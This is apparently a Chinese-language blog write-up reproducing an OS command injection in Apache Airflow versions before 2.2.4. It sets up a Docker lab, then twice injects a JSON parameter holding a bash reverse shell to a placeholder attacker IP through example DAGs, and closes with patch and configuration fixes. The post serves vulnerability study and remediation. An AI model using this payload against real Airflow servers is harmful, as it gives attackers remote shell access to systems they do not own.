Apache Airflow OS命令注入

发布时间 2023-03-22 22:08:25作者: C10ud

0x00 简介

Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。

0x01 漏洞概述

在 Apache Airflow 2.2.4 之前的版本中,一些示例 DAG 没有正确清理用户提供的参数,使其容易受到来自 Web UI 的 OS 命令注入的影响。

0x02 影响版本

在 Apache Airflow 2.2.4 之前的版本。

0x03 环境搭建

在docker中配置启动airflow

下载yaml文件

curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'

vim docker-compose.yaml

修改并添加参数

fig:

docker镜像初始化

docker-compose up airflow-init

启动airflow

docker-compose -f docker-compose.yaml up -d

fig:

airflow对运行内存的需求比较大,可能需要在vm中对虚拟机扩容。

fig:

0x04 漏洞复现

在攻击机上打开目标ip地址:8080,账号密码都是airflow登录进来。

fig:

攻击方式一:example_passing_params_via_test_command.py DAG命令注入

模板表达式中的参数Foo是外部可控的,并通过jiaja2模板进行渲染,继续分析execute函数发现此参数值可以去执行bash命令

fig:

在这个DAG中插入bash反弹shell的paylaod。

{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}

同时在攻击机上监听9999端口,随后点击执行。

fig:

fig:

可以看到,成功执行。

fig:

攻击方式二:tutorial.py DAG命令注入

tutorial.py中有着相同的漏洞原理,同样是可控参数+当做bash命令执行。

在tutorial drag中执行以下payload

{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}

fig:

执行后可在攻击机上看到反弹shell成功

fig:

0x05 修复方式

1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

http://seclists.org/oss-sec/2022/q1/160

2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)

参考链接:

https://blog.csdn.net/qq_44281295/article/details/126512145

https://hackerone.com/reports/1492896